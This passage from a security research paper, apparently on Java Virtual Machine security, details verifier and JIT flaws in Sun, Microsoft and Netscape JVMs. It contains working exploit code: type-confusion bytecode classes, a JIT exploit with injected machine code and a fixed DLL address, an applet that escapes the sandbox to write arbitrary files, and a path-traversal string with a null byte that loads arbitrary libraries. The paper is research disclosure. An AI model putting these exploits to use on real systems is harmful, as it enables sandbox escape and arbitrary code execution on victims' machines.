7 aload 2 [empty] 0=this,1=java.lang.Object

2=null
8 areturn Null 0=this,1=java.lang.Object

2=null

Tabele 7.5: The execution flow of the cast2MyArbitraryClassmethod as seen by Bytecode Verifier
during its bytecode analysis

However, due to a flaw in Microsoft Bytecode Verifier, it did not take into account the first successor
instruction. It assumed that the code following the aconst null instruction was never reached
and only the target dispatch procedure of the exception handler should be further analyzed. The
assumption was presumably made upon the fact that the code following the athrow instruction from
code offset 5 was also never reached and this instruction had the same target dispatch procedure
of the exception handler as the aconst null instruction from code offset 2. As a result of this
flaw, the Bytecode Verifier proceeded with further bytecode analysis from the same target dispatch
procedure of the exception handler. Thus, the Bytecode Verifier was tricked into thinking that
there was a null value returned from the method. Therefore, the method was successfully verified.

Execution state
Code offset Instruction Operand stack Registers
0 aconst null [empty] 0=this,1=java.lang.Object
1 astore 2 null 0=this,1=java.lang.Object
2 aconst null [empty] 0=this,1=java.lang.Object

2=null
3 aload 1 null 0=this,1=java.lang.Object

2=null
4 astore 2 null 0=this,1=java.lang.Object

java.lang.Object 2=null
5 athrow null 0=this,1=java.lang.Object

2=java.lang.Object
6 pop java.lang.Throwable 0=this,1=java.lang.Object

2=java.lang.Object
7 aload 2 [empty] 0=this,1=java.lang.Object

2=java.lang.Object
8 areturn java.lang.Object 0=this,1=java.lang.Object

2=java.lang.Object

Tabele 7.6: The actual execution flow of the cast2MyArbitraryClass method

The actual execution flow of the verified method’s code is, however, different (Table 7.6). As the
aconst null instruction from code offset 2 does not generate any exception, the execution path
with its next instruction is taken. As a result, the sequence of aload 1 and astore 2 instructions
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is executed and the value of register 2 is changed - it is loaded with the method’s argument which
is of the java.lang.Object type. In the next step of code execution, NullPointer exception is
thrown.

As this exception is caught, the code execution is redirected to the target dispatch procedure of the
exception handler. In this handler, the value of the java.lang.Object type contained in register
2 is returned from the method. This is in contrary to the method’s return type descriptor, which
denotes that the method returns the value of MyArbitraryClass type.

7.4 JDK 1.1.x 1.2.x 1.3 MSIE 4.0. 5.0. 6.0

In March 2002, SUN released the Security Bulletin in which they informed about new security
vulnerability in their implementation of the Java Virtual Machine. At the same time, Microsoft
also issued their own security bulletin for the same vulnerability. The flaw for which these bulletins
were released was found by Trusted Logic S.A. back in 2001. SUN surely knew about this issue a
few months before they actually announced it. We conclude that upon the fact that their patched
JVM binary was built in September 2001 and that the patch for the new flaw was already included
in the latest JDK 1.4 that was officially released in September 2001.

This new vulnerability stemmed from the fact that not enough checks were done by the Bytecode
Verifier component included in both SUN and Microsoft’s JVM implementations with regard to
the types of parameters passed to the invokespecial instruction.

The invokespecial instruction is used for invoking private instance methods, superclass versions
of a given method or instance initialization methods (<init> methods). It is different from the
invokevirtual in the way it invokes methods. For invokevirtual, the method to invoke is selected
upon the class of the object instance passed as its first argument (class of this pointer). For
invokespecial, the method to invoke is selected on the basis of the type of the reference used
in the instruction itself, rather than the class of this pointer. In other words, invokespecial
instruction does static binding instead of dynamic binding done by invokevirtual.

The Bytecode Verifier vulnerability for invokespecial instruction was caused by the fact that it
was possible to call superclass version of a given method for an object instance of a class different
than the subclass of the current class. In other words, the Bytecode Verifier erroneously allowed
calling super methods of classes that were not assignable to the class from which the invocation
was actually done.

In order to fully understand the invokespecial flaw, we will present it upon an example. Let us
say four classes A, B, C and D make up a class hierarchy as follows:

- A is a subclass of B,
- B is a subclass of C,
- D is also a subclass of C.

Let’s assume that these classes are defined as presented below:

CLASS A

.class public synchronized A

.super B

.method public <init>()V
.limit stack 1
.limit locals 1
aload_0
invokenonvirtual B/<init>()V
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return
.end method

.method public cast2MyArbitraryClass(LD;)LMyArbitraryClass;
.limit stack 2
.limit locals 2
aload_1
invokespecial C/buggycall()LMyArbitraryClass;
areturn

.end method

CLASS B

public class B extends C {

public MyArbitraryClass var=null;

public MyArbitraryClass buggycall() {
return var;
}
}

CLASS C

public class C {

public MyArbitraryClass buggycall() {
return null;
}
}

CLASS D

public class D extends C {
public Object var;
}

From the above definitions, it can be seen that all classes except A and D define a public method
buggycall. This method has no arguments and a return value of MyArbitraryClass type. B’s
implementation of the buggycall method returns the value of its var field, whereas the C’s imple-
mentation of the same method simply returns the null value. Class A does not define buggycall
method, instead it defines cast2MyArbitraryClass method. The latter method has one argument
of D class type and it returns a value of MyArbitraryClass type. As for the declarations of field
variables, class B has one public field var of MyArbitraryClass type. Class D also has such a field
but it is of the java.lang.Object type.

Now, let us consider the execution of the following code sequence:

A a=new A();
D d=new D();
MyArbitraryClass mat=a.cast2MyArbitraryClass(d);

This code simply does a call to cast2MyArbitraryClass method on the object instance of class A.
As an argument to this call, an instance of class D is passed. From within the
cast2MyArbitraryClass method, a call to buggycall method of class C is made with the use
of invokespecial instruction. The Java Virtual Machine treats the latter call as an invocation of
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the superclass method. This is due to the fact that the invokespecial call is done on the object
instance of class D to the method of its direct superclass, which is class C. And although the invo-
cation of the superclass method is done for class D, JVM does not invoke the buggycall method
from a superclass of class D, but from the superclass of the current class. Such a behavior is caused
by the fact that JVM treats the invokespecial call as the superclass invocation instruction. And
since the invokespecial instruction is used from within the code of class A, the corresponding
method from class B is invoked as a result of its execution. So, instead of a call to the buggycall
method of class C, the corresponding method from class B is invoked. Consequently, type confusion
condition occurs, because in the buggycall method this pointer is treated as of class C, regardless
of the fact that it is actually of class B.

The buggycall method of class B returns the value of its var field. To be more precise, it returns
the value of the var field for an object instance denoted by this pointer. Because in a result of the
invokespecial call, the type of this pointer of a buggycall method is confused, the value of the
var field for the object instance of class D is returned instead of the value of the corresponding
field from class B. And since the var field of class D is defined as of the java.lang.Object type,
the value of this type is returned from the buggycall method, although it should only return the
values of MyArbitraryClass type. Hence, the type confusion condition occurs once again, but this
time it concerns the return type of the buggycall method.

The presented type confusion attack can be exploited to perform a cast from java.lang.Object
type to MyArbitraryClass type. Although one might think that it was caused by a flaw in the
Java Runtime method invocation mechanism, that was not the case as the flaw stemmed from
erroneous Bytecode Verifier implementation. Specifically, it was caused by the fact that vulnerable
implementations of Bytecode Verifier did not make proper checks for the invokespecial instruc-
tion. They only checked whether the invokespecial call was done on the object instance of a
class that was a subclass of the target class (the class of the called method). Vulnerable Bytecode
Verifiers did not however check whether the invokespecial method call was actually calling the
superclass method of the verified class.
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Chapter 8

New problems

The past has already showed us that JVM was not as secure as it should have been. There were
several bugs found in JVM implementations of different vendors. This specifically considers security
flaws that were discovered in JVM core system classes and its security related components (like
Bytecode Verifier and Class Loader). Upon the fact that the Java Security Model is very complex
and upon the current state of practice in software development, one cannot guarantee that JVM
implementation from a given vendor is 100especially concerns security related flaws.

In this chapter we present in detail some new security flaws that we have found as a result of our
JVM security research. These vulnerabilities affect the Java Virtual Machine implementations that
come from Sun, Microsoft and Netscape. For each vulnerability, its detailed description with regard
to the vulnerability cause is provided. In case of some vulnerabilities, information pertaining to
the specifics of their exploitation is also given.

8.1 JIT Bug (Netscape 4.x)

JVM implementation included in Netscape Communicator/Navigator uses the Symantec’s imple-
mentation of the Just in Time (JIT) compiler. This component of the Java Virtual Machine is
implemented in a shared dynamic library and is used by default by the Netscape browser1. The
library provides the functionality of a native code generator as it is defined in the JIT Compiler
API.

The services of the JIT compiler are requested after the class file is loaded into the JVM before the
code of a given class is actually run. JIT compiler usually does not generate code for all methods
of a given class file at once. It rather generates the native code for a given method on a demand
basis, when a request to execute a specific method is actually made. The code that is produced as
a result of such a request is used instead of the bytecode sequence of a given method. The process of
generating it is made only once, during the process of dynamic linking, when method references are
resolved. During this process, pointers to bytecode instruction stream are replaced with pointers to
native code. Simultaneously, appropriate information is recorded in control structures of a JITed
method to inform the JVM that it should invoke this method as a native one.

We have identified that Symantec JIT compiler used in Netscape browser for Win32/x86 platform2

encounters problems while generating the native code for the following bytecode sequence:

.method public jump()V
1The operation of a JIT compiler can be disabled by removing its library from the Netscape installation directory.
2This specifically refers to Symantec Java! JustInTime Compiler Version 210.065 that is used in Netscape Com-

municator 4.04- 4.79 for Win32/x86 platform.
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.limit stack 5

.limit locals 5
aconst_null
jsr l1
return

l1:
astore_1
ret 1

.end method

The corresponding x86 instruction stream that is generated for it by vulnerable JIT compiler looks
as following:

push eax
xor eax,eax
call l1
pop ecx
ret

l1: pop eax
mov eax,[esp]
jmp eax

As a consequence of calling this code, first the value of register eax is pushed onto the stack. Then
the content of the register eax is cleared and a near call to label l1 is done. The next pop eax
instruction stores into register eax the value from the top of the stack. In our case this is the value
of return address that was pushed onto the stack as a result of executing the call instruction.
In the next step, the saved value of register eax, the one that was in it prior to executing the
presented code sequence, is moved into it from the top of the stack. Finally, a jump to the code
location denoted by register eax is done.

The native code sequence that is generated for the presented jump() method is incorrect since
consequently a jump to code location denoted by register eax is done, instead of a normal return
to the method’s caller. This is caused by the fact that Symantec JIT compiler erroneously locates
the value of the method’s return address on the stack. The correct code sequence that should be
generated for the jump()method should use the following code sequence for correct implementation
of the return statement:

mov eax,[esp-4]
jmp eax

We have used the trial and error approach to investigate this issue. We have found out that it is
possible to control the value of the eax register in the flawed code generated for the jump method.
Specifically, we have found out that a call to the following method should be made just before the
actual invocation of the jump method in order to control the value of the eax register.

.method public setRetAddr(I)I

.limit stack 5

.limit locals 5
iload_1
ireturn

.end method
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As a result of calling the native code sequence generated for this method, register eax is initialized
with the integer value passed as the argument to it. This simply led us to the situation where full
control over the JVM’s execution flow could be gained. However, in order to exploit this condition
we did not use any of the classic buffer overflow exploitation techniques with the common shellcode
approach. Instead, we turned the found JIT flaw into a type confusion flaw. In order to accomplish
that we had to redirect program execution to our arbitrary machine code that would make some
proper changes in a memory of a given Java object. Specifically, it had to assign a pointer of one
Java object type to the variable of some other unrelated type.

For the purpose of conducting the type confusion attack as a result of which a cast from
java.lang.Object type to MyArbitraryClass type could be performed, we made use of the fol-
lowing JITBug class:

.class public JITBug

.super java/lang/Object

.field public var1 LMyArbitraryClass;

.field public var2 Ljava/lang/Object;

.method public <init>()V

.limit stack 5

.limit locals 5
aload_0
invokenonvirtual java/lang/Object/<init>()V
return

.end method

.method public setRetAddr(I)I

.limit stack 5

.limit locals 5
iload_1
ireturn

.end method

.method public jump()V

.limit stack 5

.limit locals 5
aconst_null
jsr l1
return

l1:
astore_1
ret 1

.end method

This class implements two of the aforementioned jump and setRetAddr methods. Apart from that
it defines two field variables var1 and var2, which are appropriately of the MyArbitraryClass
and java.lang.Object type.

In order to conduct the type confusion attack with the use of the previously described JIT flaw,
we issued proper bytecode sequence that was equivalent to the following Java code:

JITBug c=new JITBug();
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byte[] buf=new byte[10];
int i;
for(i=0;i<buf.length;i++) {
buf[i]=0;
}
buf[0]=-117; /* mov eax,[ecx+0x0000000c] */
buf[1]=65;
buf[2]=12;
buf[3]=-119; /* mov [ecx+0x00000008],eax */
buf[4]=65;
buf[5]=8;
buf[6]=-1;
buf[7]=100; /* jmp [esp-4] */
buf[8]=36;
buf[9]=-4;

c.setRetAddr(0x6019abd9);
c.jump();

In this code, first an instance of the JITBug class is created. Then, a table of bytes containing
arbitrary machine code instructions is created. In the next step, the value of a target address to
which the execution will be redirected is set up. This is done by calling setRetAddr method with
a proper integer value of the address argument. Finally, a call to jump method is issued, which
transfers the execution flow to the set up code address.

It should be noted here that the order of instructions used in this code is critical for the successful
result of the attack. This is due to the fact that upon a jump to user code, some of the processor
registers must contain proper values that would make it easy to locate a table of bytes with machine
code instructions and an instance of the created JITBug class. As the native code generated by
Symantec JIT compiler was highly dependant on the used bytecode stream, we again had to use
some trial and error approach in order to find the right bytecode sequence. While looking for it, we
tried to make use of the objects that would be needed by the machine code instructions, as close
to the jump method invocation as possible.

As a result of compiling and executing the native machine code generated for the bytecode sequence
that we finally used in the attack, processor registers were initialized in such a way that they
contained the following values:

- register EBX - memory address containing the pointer to the contents of the table of bytes
with machine code instructions,
- register ECX - memory address of the created instance of the JITBug class.

As register EBX was pointing to the memory cell containing the address of the machine code instruc-
tions, in order to redirect execution to our code we had to set up such a value of the setRetAddr
method that would point to either jmp [ebx], call [ebx] or push ebx/ret instructions. We
have found that 0x6019abd9 address location from the jit3240.dll contained the required opco-
de of jmp [ebx] instruction across different versions of Netscape Communicator from 4.5 to 4.79.
This is why we decided to use this address as the one to which execution flow would be redirected
as a result of exploiting the JIT vulnerability.

As prior to executing arbitrary machine code instructions, register ECX was pointing to the object
of the JITBug class, in order to perform a type confusion attack we had to assign the value of
var2 to var1. And because the memory offsets of var1 and var2 in the JITBug object instance
were appropriately 0x08 and 0x0c, the only thing that we had to do was to execute the following
machine code sequence:
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mov eax,[ecx+0x0000000c]
mov [ecx+0x00000008],eax

These two instructions did the trick as a result of which the value of var2 was moved to var1.
And since the type confusion was done, we could come back to JVM Runtime code. We did it by
executing the jmp [esp-4] instruction after the mov instructions. As a result of that, a return
from the user machine code to Java Runtime was made. Specifically, a return from the seized jump
method was done as if nothing happened. As for the EAX register whose value was changed from
within the machine code, it did not affect the execution flow of the running Java program.

The JIT bug presented in this chapter is a good example of that the overall security of JVM
does not only depend on the security of its Class Loader, Bytecode Verifier and Security Manager
components. It is also a good example why JVM security should be seen from a wider perspective
of all of its components, not only those that implicitly influence its security.

8.2 Verifier Bug (MSIE 4.0 5.0 6.0)

We have investigated the way, protection of Class Loader objects is provided in Microsoft’s im-
plementation of the Java Virtual Machine. We have found that it is possible to create a fully
initialized instance of Class Loader objects from an untrusted code of a user applet. Specifically,
we have found that the following class definition can be used for that purpose:

.class public VerifierBug

.super com/ms/security/SecurityClassLoader

.method public <init>()V

.limit stack 5

.limit locals 5
aload_0
bipush 0

l1:
invokenonvirtual VerifierBug/<init>(I)V

l2:
aconst_null

l3:
return

.catch java/lang/SecurityException from l1 to l2 using l3

.end method

.method public <init>(I)V

.limit stack 5

.limit locals 5
aload_0
invokenonvirtual com/ms/security/SecurityClassLoader/<init>()V
return

.end method

When new instance of VerifierBug class is created with the use of the new VerifierBug() in-
struction sequence, a default constructor of the instantiated class is invoked. From this constructor,
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a call to another <init> method of the VerifierBug class is done. In the code of this second con-
structor, a call to superclass’ <init> method is done. Since, the user code by default does not have
sufficient privileges to create Class Loader objects, security exception is thrown from the superc-
lass initialization method. This exception is however caught in the code of a default constructor of
the instantiated class. Consequently, the execution of the VerifierBug class’ <init> method
completes successfully (sic!).

The presented definition of the VerifierBug class should not be allowed by the Bytecode Verifier
at all. This is due to the fact that it should detect the existence of an execution path in a default
constructor of the VerifierBug class’ that does not lead to proper object initialization. It seems
that Microsoft did all proper checks for the case, where an invocation of the superclass constructor
is embedded within an exception handler. But such checks are not properly done (if at all) for the
corresponding case where a call to this initialization method is used.

As Microsoft’s implementation of Class Loader does not implicitly define any variable for the
purpose of keeping track of its initialization state, the functionality of the created Class Loader
objects can be called without any restrictions. Additionally, the loadClass method of the extended
com.ms.security.SecurityClassLoader class is not marked as final, thus it can be overriden in
the user defined VerifierBug class. This means that the presented code sequence can be used
to create fully functional Class Loader objects that can be further used to conduct Class Loader
based attack as it was described in some previous chapter of this paper.

8.3 Verifier Bug (Netscape 4.x)

We discovered a flaw in the operation of the Bytecode Verifier that is included in SUN and Net-
scape’s implementations of the Java Virtual Machine. Specifically, we have found out that there
exist a way to create new instances of objects without implicitly calling the proper initialization
method (super or this) from within the constructor of the created class. Such behavior violates
one of the structural constraints imposed on the bytecode, which states that each instance initiali-
zation method, except for the instance initialization method derived from the constructor of class
java.lang.Object, must call either super or this instance initialization method before its instan-
ce members are accessed. The only exception to this constraint is in the case of java.lang.Object
class, which does not have a superclass.

The following class definition illustrates the bytecode sequence which can be used to implement a
class’ constructor that does not call any super or this method, but is successfully verified by the
Bytecode Verifier:

.class public VerifierBug

.super java/lang/Object

.method public <init>()V

.limit stack 5

.limit locals 5
jsr l4
return

l4:
astore_2
ret 2
aload_0
invokenonvirtual java/lang/Object/<init>()V

.end method
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In this code, the invocation of the superclass constructor does not actually take place, but the
Bytecode Verifier erroneously thinks that it does. This is due to the fact that SUN and Netscape
implementations of the Bytecode Verifier do not follow the actual execution flow of the verified
method, but they rather use linear analysis of bytecode instruction stream. As a result, some
instructions that are not contained on any execution path of a given method can influence the
state of the verification process. In this specific example, the Bytecode Verifier should not analyze
the last two instructions since they cannot be reached. But because it analyzes them as part of
some arbitrary execution path, it is tricked that proper initialization method is invoked from the
code of the verified method.

As it was the case of the previously described vulnerability in Microsoft’s JVM, this Bytecode
Verifier flaw can also be used to construct partially initialized Class Loader objects. Specifically,
this can be done with the use of the following class definition:

.class public VerifierBug

.super netscape/applet/AppletClassLoader

.field static public url Ljava/net/URL;

.method public <init>(Ljava/net/URL;)V

.limit stack 5

.limit locals 5
aload_1
putstatic VerifierBug/url Ljava/net/URL;
jsr l4
aload_0
bipush 0

l1:
invokenonvirtual VerifierBug/<init>(I)V

l2:
aconst_null

l3:
pop
jsr l4
return

l4:
astore_2
ret 2
invokenonvirtual netscape/applet/AppletClassLoader/<init>(Ljava/net/URL;)V

.catch java/lang/Throwable from l1 to l2 using l3

.end method

.method public <init>(I)V

.limit stack 5

.limit locals 5
aload_0
getstatic VerifierBug/url Ljava/net/URL;
invokenonvirtual netscape/applet/AppletClassLoader/<init>(Ljava/net/URL;)V
return

.end method

From this code, it can be seen, however, that the constructor of the superclass
netscape.applet.AppletClassLoader class is called. This is due to the fact that we want to
create partially initialized instance of the Class Loader object. The invoked superclass constructor
always throws security exception in a result of a check for proper privileges required to create Class
Loader objects. However this exception is caught in our code. Although the Bytecode Verifier de-
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tects that there exists an execution path in the <init> method of VerifierBug class that can lead
to improper object initialization, it successfully verifies it as the two never reached instructions of
superclass invocation trick it into thinking that object initialization actually takes place.

As it was already mentioned in one of the previous chapters of this paper, Netscape’s imple-
mentation of Class Loader object is protected from being instantiated with the use of private
initialized variable. If this variable does not properly get initialized in the ¡init¿ method of
the java.lang.ClassLoader class, the functionality of the created Class Loader object cannot be
called. This is due to the fact that proper checking of the initialized variable is always done
before a call to a given java.lang.ClassLoader method is made. But in the case of our example
VerifierBug class, we are able to create the Class Loader object with a properly initialized value
of the initialized variable, regardless of the fact that our code does not have any privileges. In
order to understand why this is the case we need to have a look at the call stack of the VerifierBug
class’ constructor that leads to proper Security manager’s check. It briefly looks as following:

frame 0: VerifierBug.<init>(Ljava/net/URL;)
frame 1: VerifierBug.<init>(I)
frame 2: netscape.applet.AppletClassLoader.<init>(Ljava/net/URL;)
frame 3: netscape.applet.AppletClassLoader(Lnetscape/applet/MozillaAppletContext,

Ljava/net/URL;[Ljava/net/URL;)
frame 4: java.lang.SecurityManager.checkCreateClassLoader()
frame 5: netscape.security.AppletSecurity.checkCreateClassLoader(i=2)
frame 6: netscape.security.AppletSecurity.checkCreateClassLoader0(i+1=3)

From the above it can be seen that a proper Security Manager check is done in
checkCreateClassLoader0 method of netscape.security.AppletSecurity class. Specifically,
this check verifies whether a given class is a system class and that it is a subclass of
java.lang.ClasLoader class. As the check is done for the frame belonging to the constructor
of the netscape.applet.AppletClassLoader class, it is successful3.

There is, however, one more check that is done in the constructor of the
netscape.applet.AppletClassLoader class. This second check is not successful since it is do-
ne from the super method of the VerifierBug class. Consequently, in checkCreateClassLoader0
method, this is the frame stack of VerifierBug class that is checked for proper privileges. The call
stack that leads to this check looks as following:

frame 0: VerifierBug.<init>(Ljava/net/URL;)
frame 1: VerifierBug.<init>(I)
frame 2: netscape.applet.AppletClassLoader.<init>(Ljava/net/URL;)
frame 3: java.lang.SecurityManager.checkCreateClassLoader()
frame 4: netscape.security.AppletSecurity.checkCreateClassLoader(i=2)
frame 5: netscape.security.AppletSecurity.checkCreateClassLoader0(i+1=3)

As a result, we obtain only partially initialized instance of the VerifierBug class. This is caused
by the fact that its initialization done in the ¡init¿ methods of both java.lang.ClassLoader and
netscape.applet.AppletSecurity are successful. But this partially initialized Class Loader instance
is fully functional. Specifically, we can define our arbitrary classes with the use of its defineClass
and resolveClass methods.

However, the possibility to create Class Loader objects did not let us conduct Class Loader based
attack. This was due to the fact that the protected version of the loadClass method from the
3See the description of CheckCreateClassLoader check contained in Appendix B of this paper for explanation

why this check is successful.

59



java.lang.ClassLoader class is marked as final. Hence, we could not extend it in the VerifierBug
class, thus we could not perform class spoofing based attack.

We did not manage to exploit the presented Bytecode Verifier vulnerability to completely beat
Java type safety because we were unable to conduct any class spoofing attack. Specifically, we did
not find a way to cross namespaces, so that any type confusion could be created. We checked the
two aforementioned theoretical possibilities of traversing namespaces. We could not create type
confusion by throwing an exception as well as by invoking virtual methods across two different
namespaces. This is why we decided to have a closer look at the implementation of the system
Class Loader classes that we were extending in our VerifierBug class.

By investigating the implementation of netscape.security.AppletSecurity and
netscape.applet.AppletClassLoader classes we have found that it is possible to obtain read
and write access to the file system from within the code of an untrusted applet. Specifically, we
have found that the following method call stack is used as a result of invoking checkRead method
of the Security Manager:

frame 0: java.lang.SecurityManager.checkRead(Ljava/lang/String)
frame 1: netscape.security.AppletSecurity.checkRead(Ljava/lang/String;i=2)
frame 2: netscape.security.AppletSecurity.checkRead(Ljava/lang/String;

Ljava/net/URL;i+1=3)
frame 3: netscape.security.AppletSecurity.marimbaCheckAccess (Ljava/lang/String;Z)
frame 4: netscape.applet.CastanetChannelInfo.marimbaCheckAccess

(Ljava/lang/String;Ljava/lang/ClassLoader;ZZ)
frame 5: netscape.applet.AppletClassLoader.marimbaCheckRead (Ljava/lang/String;Z)

From the above method invocation stack it can be seen that the implementation of some of the Se-
curity Manager’s checks, specifically its checkRead method, is far more complex than it is presented
in Appendix B of this paper. It can also be seen that as a result of calling checkRead method of the
Security Manager class, the applet Class Loader object is consulted for a decision about whether
to allow or deny read access to a given file system object (!). This, in particular, is accomplished
by invoking marimbaCheckRead method of the netscape.applet.AppletClassLoader class. This
method takes two arguments which are of java.lang.String and boolean types. The first argu-
ment denotes a path to the file system object for which the appropriate Security Manager’s check
is being done. The second argument denotes whether the corresponding check is done with regard
to read or write access.

Similarly to the marimbaCheckRead method, netscape.applet.AppletClassLoader class also has
a checkWrite method which is used whenever a decision about whether to allow or deny write
access to a given file system object is done.

After some more detailed investigation of the checkRead and checkWrite methods of the Security
Manager class, we have found out that this was not necessarily the initial applet Class Loader
object that was consulted for a decision about whether to allow or deny access to a given file
system object. What we found out was that this was the Class Loader object that defined a class
from which an attempt to access a given file system object was actually done.

We have used the specifics of the Security Manager’s checkRead and checkWrite methods imple-
mentation in order to bypass applet sandbox restrictions and to gain read and write access to the
local file system. Specifically, we added the following methods to our VerifierBug class:

.method public marimbaCheckRead(Ljava/lang/String;Z)Z

.limit stack 1

.limit locals 3
iconst_1

60



ireturn
.end method

.method public marimbaCheckWrite(Ljava/lang/String;Z)Z

.limit stack 1

.limit locals 3
iconst_1
ireturn

.end method

From the above definitions it can be seen that whenever our Class Loader object is consulted
as a result of calling checkRead method of the Security Manager class, read and write access
to a given file system object is always allowed. This is due to the fact that the above methods
always return the value of true, which stands for access allowed. But before marimbaCheckRead
or marimbaCheckWrite methods of our Class Loader object will actually be taken into account,
we must first define some arbitrary class in our Class Loader’s namespace, from which an attempt
to access a given file system object will be made.

In order to define some arbitrary classes in our Class Loader’s namespace, we extended our
VerifierBug class by adding one more method to it:

.method public myDefineClass(Ljava/lang/String;[BII)Ljava/lang/Class;

.limit stack 10

.limit locals 10
aload_0
aload_0
aload_1
aload_2
iload 3
iload 4
invokevirtual java/lang/ClassLoader/defineClass(Ljava/lang/String;[BII)Ljava/lang/Class;
dup
astore_1
invokevirtual java/lang/ClassLoader/resolveClass(Ljava/lang/Class;)V
aload_1
areturn

.end method

The goal of the above myDefineClass method is to proxy calls to some base
java.lang.ClassLoader methods. Since these methods have protected access, they can only be
called from within a subclass of the java.lang.ClassLoader class. What the above
myDefineClass method actually does is that it simply calls defineClass and resolveClass me-
thods of the java.lang.ClassLoader class.

Having a proper definition of VerifierBug class, we can attempt to construct a Java code sequence
that could be used to gain read and write access to local file system. Specifically, we can make use
of the following code in order to create files from within the untrusted applet:

public class BlackBox extends java.applet.Applet {

byte MyOutputStream_def[]={...};
byte file_def[]={...};

Class ostream=null;

OutputStream getOutputStream(String name) {
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OutputStream stream=null;
try {
Object o=ostream.newInstance();

Class aclass[]=new Class[1];
aclass[0]=Class.forName("java.lang.String");

Method method=ostream.getMethod("open",aclass);

Object aobj[]=new Object[1];
aobj[0]=name;

stream=(OutputStream)method.invoke(o,aobj);
} catch (Throwable e) {}
return stream;
}

public void create_file(String name, byte def[]) {
try {
OutputStream s=getOutputStream(name);
s.write(def);
s.close();
} catch(Throwable e) {};
}

public BlackBox() {
try {
ClassLoader cl=getClass().getClassLoader();
URL url=cl.getCodeBase();

VerifierBug bug=new VerifierBug(url);
ostream=bug.myDefineClass("MyOutputStream",

MyOutputStream_def,0,MyOutputStream_def.length);

create_file("/tmp/test",file_def);

} catch (Throwable t) {}
}
}

All of the presented BlackBox applet’s work is done in its constructor. First, the CODEBASE of the
current applet Class Loader object is obtained and saved in the url variable. Then the user defined
Class Loader object is created by instantiating the VerifierBug class. Since the url variable is
passed to the VerifierBug constructor, the created Class Loader object has the same CODEBASE
attribute as the BlackBox’s applet Class Loader. The reference value of the created Class Loader
object is saved in the bug variable. It is later used for defining MyOutputStream class in the bug
loader namespace with the use of myDefineClass proxy call. The body definition of the defined
MyOutputStream class is contained in the MyOutputStream def table of bytes. It corresponds to
the following class definition:

public class MyOutputStream {

public FileOutputStream open(String s) {
FileOutputStream f=null;
try {
f=new FileOutputStream(s);
} catch(Throwable e) {}
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return f;
}
}

The value of the created MyOutputStream class object is then saved in the ostream variable. Next
a call to create file method is made. This method takes two arguments. The first one denotes
the name of a to be created file (/tmp/test in our case). The second one is a table of bytes
containing the actual data that are to be written to the created file (the contents of the file def
byte table in our case). The definition of create file method is very simple. First a reference
to the java.lang.OutputStream is obtained in it with the use of getOutputStream method call.
Then a single write to this OutputStream is done as a result of which the content of the passed
table of bytes is written to the stream. At the end of the method this stream is closed.

The actual trick that allowed us to bypass applet’s sandbox restrictions with regard to file sys-
tem access is done in the getOutputStream method of the BlackBox class. This method uses
the Java Reflection API in order to invoke the open method of the MyOutputStream class de-
fined in a bug Class Loader. As a result of the open method invocation, an attempt to cre-
ate the object of java.io.FileOutputStream class is made. In the constructor of the created
java.io.FileOutputStream class, proper call to checkWrite method of the Security Manager is
done. This leads to the invocation of the marimbaCheckWrite method of the Class Loader ob-
ject that defined MyOutputStream class. In our case, this is our bug Class Loader object, so its
marimbaCheckWrite method is invoked. And since this method is implemented in such a way that
it always returns the true value, the corresponding Security Manager’s access check is always
successful as well. Consequently, write access to the given file system object is allowed.

In the case of Windows based systems, the ability to write arbitrary files by an untrusted applet
can be used to completely beat Java type safety. This can be particularly accomplished by writing
specially crafted user defined class to the Netscape’s CLASSPATH location4. Specifically, the following
class definition could be used for that purpose:

.class public synchronized Helper

.super java/lang/Object

.method public <init>()V
.limit stack 3
.limit locals 8
aload_0
invokenonvirtual java/lang/Object/<init>()V
return

.end method

.method public cast2MyArbitraryClass(Ljava/lang/Object;)LMyArbitraryClass;

.limit stack 2

.limit locals 2
aload_1
areturn

.end method

The above Helper class definition contains a method with an illegal bytecode sequence that does
a cast from java.lang.Object to MyArbitraryClass type. As it was previously mentioned in
this paper, classes loaded from the CLASSPATH location are not subject to bytecode verification.
And since this is the case of our Helper class, during its loading no errors are reported and it is
successfully loaded into JVM, although it should be rejected. Such JVM behavior simply lets us
beat Java type safety as a result of a type confusion condition.
4By default, this location can be written by ordinary users in Windows 9x, NT and 2000.
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On Unix systems, the read and write file system access cannot be used in such a straightforward
way to perform the type confusion attack as in the Windows environment. On Unix systems, the
presented Bytecode Verifier flaw actually allows only for read/write file system access as well as
for network access. The network access can be gained in a similar way as the presented file system
access. The only thing that is required for that is proper implementation of the VerifierBug’s
marimbaGetHost method. This method is invoked from within the Security Manager’s network
access check’s methods. Particularly, it is called whenever the address of the host on which the
applet code runs is needed for address comparison operations. Clever manipulation of the hostname
returned from this method can be used to bypass applet sandbox restrictions with regard to certain
socket operations (bind5 listen, accept and connect).

Although, the presented Bytecode Verifier vulnerability could hardly be exploited to gain any
additional privileges (specifically program execution and process access) in the Unix environment,
it can be, however, used to turn applet application into fully functional ftpd server. Only when
combined with some other flaw, could the presented Bytecode Verifier vulnerability be exploited
to execute arbitrary programs on a vulnerable Unix system.

8.4 Insecure functionality (Netscape 4.x)

While looking for a bug that would allow us to actually execute the code from within the applet,
we have investigated the implementation of some of the classes from the netscape.* package.
Hence, we have found out that the constructor of sun.jdbc.odbc.JdbcOdbc class makes a call to
System.loadLibrarymethod in an insecure way. Specifically, no checks are done in the constructor
code with regard to the string argument that is used in a loadLibrary call. The following code
illustrates the flaw upon a simplified version of the vulnerable constructor:

public JdbcOdbc(String s) throws SQLException {
try {
SecurityManager.setScopePermission();
if(s.equals("Netscape_")) {
System.loadLibrary("jdb3240");
return;

} else {
System.loadLibrary(s + "JdbcOdbc");
return;

}
}
catch(UnsatisfiedLinkError _ex) { }
throw new SQLException("Unable to load " + s + "JdbcOdbc library");

}

When a new instance of sun.jdbc.odbc.JdbcOdbc class is created, first the privileges of the Super-
User target are enabled for the current stack frame by calling setScopePermission method of the
SecurityManager class. Then, a string argument passed to the constructor code is compared with
the Netscape string. If the comparison result is successful, a call to
System.loadLibrary("jdb3240") is done and default Netscape’s JdbcOdbc library is loaded.
In the other case, a call to System.loadLibrary(s+"JdbcOdbc") is issued.

Such an implementation of the sun.jdbc.odbc.JdbcOdbc class constructor can be used to load
arbitrary libraries into Java Virtual Machine. The following code could be used to exploit it and load
a /tmp/mylib.so library into JVM from the untrusted user class in the Unix system environment:

JdbcOdbc o=new JdbcOdbc("../../../../../../../tmp/mylib.so\00");
5Sockets can be bound only to ports from the non privileged port range: 1024 - 65535.
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As a result of this call an attempt to load6 "../../../../../../../tmp/mylib.so\00JdbcOdbc"
